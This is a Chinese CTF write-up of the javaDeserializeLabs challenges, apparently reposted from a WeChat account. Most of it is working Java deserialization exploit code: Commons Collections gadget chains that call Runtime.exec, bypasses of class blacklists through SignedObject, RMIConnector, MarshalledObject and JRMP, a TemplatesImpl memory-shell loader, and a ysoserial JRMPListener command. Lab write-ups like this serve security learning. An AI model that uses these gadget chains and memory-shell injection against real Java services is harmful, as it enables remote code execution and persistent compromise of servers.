Java Deserialize Labs

渗透技巧 1年前 (2023) admin

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项目地址：javaDeserializeLabs

Lab1

反编译后很简单

Java Deserialize Labs

Calc

package com.yxxx.javasec.deserialize;
import java.io.Serializable;

public class Calc implements Serializable {
    private boolean canPopCalc = true;
    private String cmd = "calc";
}

poc

import com.yxxx.javasec.deserialize.Calc;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class poc {
    public static void main(String[] args) throws Exception {
        Calc calc = new Calc();
        String payload = objectToHexString(calc);
        System.out.println(payload);
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }

            return ret.toString();
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }
}

Lab2

存在CC依赖，加了两个条件判断readUTF和readInt

Java Deserialize Labs

在将对象转为字节流时加上UTF以及Int

exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        Map<Object,Object> hashmap = new HashMap<>();
        hashmap.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

        String payload = objectToHexString(hashmap);
        Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);

            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }
            return ret.toString();
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");  // 加入UTF
        out.writeInt(1896);    // 加入Int
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }
}

Lab3

存在cc依赖，但是利用自己编写了个MyObjectInputStream代替ObjectInputStream

Java Deserialize Labs

看一下是怎么处理的，resolveClass通过 URLClassLoader.loadClass

进行加载类，这里就有问题了，这种类加载方式不支持加载数组。

Java Deserialize Labs

利用 CC依赖中的InvokerTransformer实现任意方法调用，构造方法如下，由于数组无法被加载，所以调用的方法必须为无参，该方法达到的目的要么是RCE，要么是可以二次反序列化。

private InvokerTransformer(String methodName) {
      this.iMethodName = methodName;
      this.iParamTypes = null;
      this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
      this.iMethodName = methodName;
      this.iParamTypes = paramTypes;
      this.iArgs = args;
}

SignedObject

参考：二次反序列化看我一命通关 – 跳跳糖 (tttang.com)，利用链如下

HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->LazyMap.get->InvokerTransformer.transform->SignedObject.getObject

exp，打cc6

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class exp {
    public static HashMap CC6() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        Map<Object,Object> hashmap = new HashMap<>();
        hashmap.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

        return (HashMap) hashmap;
    }
}

poc


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(exp.CC6(), kp.getPrivate(), Signature.getInstance("DSA"));

        InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject);

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "Poria");
        lazyMap.remove(signedObject);
        setFieldValue(lazyMap,"factory", invokerTransformer);

        String payload = objectToHexString(expMap);
        Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);
            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }
            return ret.toString();
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

RMIConnector

参考：二次反序列化看我一命通关 – 跳跳糖 (tttang.com)，利用链如下

HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->LazyMap.get->InvokerTransformer.transform->RMIConnector.connect

exp，打cc6

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class exp {
    public static String CC6() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        Map<Object,Object> hashmap = new HashMap<>();
        hashmap.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

        return serialize(hashmap);
        
    }

    public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        String base64 = new String(Base64.getEncoder().encode(baos.toByteArray()));
        System.out.println(base64);
        return base64;
    }
}

poc，利用 RMIConnector

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class poc {
    public static void main(String[] args) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp.CC6());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "Poria");
        lazyMap.remove(rmiConnector);
        setFieldValue(lazyMap,"factory", invokerTransformer);

        String payload = objectToHexString(expMap);
        Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);
            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }
            return ret.toString();
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

JRMP

除了二次反序列化，还有利用JRMP协议，具体就是RMI反序列化那篇文章的内容，这里记录一下打法

ysoserial 开启一个 JRMPListener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"

poc

import sun.rmi.server.UnicastRef;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;

public class poc {
    public static void main(String[] args) throws Exception {
        //获取UnicastRef对象
        String jrmpListenerHost = "127.0.0.1";
        int jrmpListenerPort = 9999;
        UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

        //通过构造函数封装进入RemoteObjectInvocationHandler
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        //使用动态代理改变obj的类型变为Registry，这是Remote类型的子类
        //所以接下来bind可以填入proxy
        Registry proxy = (Registry) Proxy.newProxyInstance(poc.class.getClassLoader(),
                new Class[]{Registry.class}, obj);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(proxy);
        oser.close();

        String payload = bytesTohexString(ser.toByteArray());
        Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

    }

    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);
            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }
            return ret.toString();
        }
    }

}

本地没能命令执行。

Java Deserialize Labs

Lab4

不出网，其他同Lab3，记录一下内存马.

exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class exp {
    public static HashMap shell() throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQA7QoAOQC...");  //内存马的base64
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "aaa");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());


        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "Poria");
        lazyMap.remove(templates);
        setFieldValue(lazyMap,"factory", invokerTransformer);

        return expMap;

    }

    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

poc

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;

import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(exp.shell(), kp.getPrivate(), Signature.getInstance("DSA"));

        InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject);

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "Poria");
        lazyMap.remove(signedObject);
        setFieldValue(lazyMap,"factory", invokerTransformer);

        String payload = objectToHexString(expMap);
        Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);
            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }
            return ret.toString();
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

Lab5

在 MyObjectInputStream 中重写了 resolveClass 和 resolveProxyClass 方法，将org.apache.commons.collections.functors 和java.rmi.server 加入了黑名单，来防御反序列化。

Java Deserialize Labs

不过还给了一个 MarshalledObject类，该类提供了一个 readResolve

方法进行反序列化操作。

Java Deserialize Labs

图为ObjectInputstream在反序列化对象时的函数调用关系，橙色部分是调用readObject或readExternal函数后执行的代码。当反序列化的类存在 readResolve 方法时，就会进行调用。

Java Deserialize Labs

所以直接修改bytes即可

poc

import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;


import java.util.HashMap;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        MarshalledObject marshalledObject = new MarshalledObject();

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(getObject());
        oos.close();
        setFieldValue(marshalledObject,"bytes",baos.toByteArray()); //转成byte写入marshalled中的bytes属性

        String payload = objectToHexString(marshalledObject);
        System.out.println(payload);
        Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

    }

    public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
        Map<Object,Object> hashmap = new HashMap<>();
        hashmap.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        return (HashMap) hashmap;
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null) {
            return null;
        } else {
            StringBuilder ret = new StringBuilder(2 * bytes.length);
            for(int i = 0; i < bytes.length; ++i) {
                int b = 15 & bytes[i] >> 4;
                ret.append("0123456789abcdef".charAt(b));
                b = 15 & bytes[i];
                ret.append("0123456789abcdef".charAt(b));
            }
            return ret.toString();
        }
    }

    public static String objectToHexString(Object obj) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bos);
        out.writeUTF("SJTU");
        out.writeInt(1896);
        out.writeObject(obj);
        out.flush();
        byte[] bytes = bos.toByteArray();
        bos.close();
        String hex = bytesTohexString(bytes);
        return hex;
    }

    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

Lab6-8

JRMP打二次反序列化，麻烦就过了，记录两个poc

直接反序列化UnicastRef，进而调用sum.rmi.server.UnicastRef#readExternal

poc

import sun.rmi.server.UnicastRef;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
public class lab6exp {
    public static UnicastRef generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static void main(String[] args) throws Exception{
        //获取UnicastRef对象
        String jrmpListenerHost = "ip";
        int jrmpListenerPort = 7777;
        UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeUTF("SJTU");
        oser.writeInt(1896);
        oser.writeObject(ref);
        oser.close();

        System.out.println(bytesTohexString(ser.toByteArray()));
    }

    public static String bytesTohexString(byte[] bytes) {
        if (bytes == null)
            return null;
        StringBuilder ret = new StringBuilder(2 * bytes.length);
        for (int i = 0; i < bytes.length; i++) {
            int b = 0xF & bytes[i] >> 4;
            ret.append("0123456789abcdef".charAt(b));
            b = 0xF & bytes[i];
            ret.append("0123456789abcdef".charAt(b));
        }
        return ret.toString();
    }
}

Lab9-proxy

InvocationHandler

Java Deserialize Labs

这里只要调用invoke，然后设置type为TemplatesImpl就可以触发了。然后根据jdk7知道，当反序列化遇到代理时，且代理实例化为接口，会调用handler的invoke方法。然后还不能在无参函数时触发。可以想到compare方法，这个在PriorityQueue类触发。所以在PriorityQueue里面塞个代理，就可以触发invoke了.

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.yxxx.javasec.deserialize.MyInvocationHandler;

public class poc {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(Code.class.getName());
        byte[] bytes = ctClass.toBytecode();
        TemplatesImpl ti = new TemplatesImpl();
        setField(ti, "_name", "asd");
        setField(ti, "_bytecodes", new byte[][]{bytes});
        setField(ti, "_tfactory", new TransformerFactoryImpl());
        PriorityQueue priorityQueue = new PriorityQueue(1);
        priorityQueue.add(2);
        priorityQueue.add(3);//要加两个东西进去才能成功
        setField(priorityQueue, "queue", new Object[]{ti, 1});
        InvocationHandler mih = new MyInvocationHandler();
        setField(mih, "type", Templates.class);
        Comparator comparator = (Comparator) Proxy.newProxyInstance(poc.class.getClassLoader(), new Class[]{Comparator.class}, mih);
        setField(priorityQueue, "comparator", comparator);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(priorityQueue);
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Code

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Code extends AbstractTranslet{
    public Code() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

参考

JavaDerserializeLabs

原文始发于微信公众号（Arr3stY0u）：Java Deserialize Labs

版权声明：admin 发表于 2023年3月5日下午12:14。
转载请注明：Java Deserialize Labs | CTF导航

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